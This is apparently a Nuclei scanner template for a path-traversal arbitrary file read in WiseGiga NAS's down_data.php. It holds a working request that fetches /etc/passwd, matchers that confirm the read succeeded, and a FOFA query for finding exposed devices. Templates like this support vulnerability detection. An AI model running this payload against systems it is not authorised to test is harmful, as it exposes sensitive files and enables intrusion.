wisegiga-nas-lfi: WiseGiga NAS - Arbitrary File Read

id: wisegiga-nas-lfi

info:
  name: WiseGiga NAS - Arbitrary File Read
  author: pussycat0x
  severity: high
  description: |
    WISEGIGA NAS down_data.php has an arbitrary file download vulnerability. Due to the lax filtering of the filename parameter on the /down_data.php page, sensitive system files can be read.
  reference:
    - https://github.com/Threekiii/Awesome-POC/blob/master/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/WiseGiga%20NAS%20down_data.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BD%E6%BC%8F%E6%B4%9E.md
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="WISEGIGA-NAS"
  tags: wisegiga,lfi,nas,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/down_data.php?filename=../../../../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "file/unknown"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100a6984f3c6c821dc96710ab3bd30cdf4213f8649831ee40d8ab23c09fca261336022025653722c50a2f18ce5ad7d290befd5d6f933ad9f78bf76357f1edf92f1b51e8:922c64590222798bb761d5b6d8e72950